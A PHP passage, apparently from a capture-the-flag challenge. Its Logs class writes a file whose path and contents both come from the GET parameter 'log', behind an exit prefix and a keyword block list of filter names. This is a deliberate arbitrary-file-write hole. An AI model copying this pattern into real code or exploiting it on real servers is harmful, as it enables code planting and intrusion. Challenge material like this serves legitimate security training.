foreach($params as $param){
if($this->check_file_exist($param)) {
$this->filename->test();
}
}
}

public function get_file_size($filename) {
$size = filesize($filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
}


class Logs {

public $log;

public function log() {

$log = $_GET['log'];
if(preg_match("/rot13|base|toupper|encode|decode|convert|bzip2/i", $log)) {
die("hack!");
}
file_put_contents($log,'<?php exit();'.$log);
}
}

?>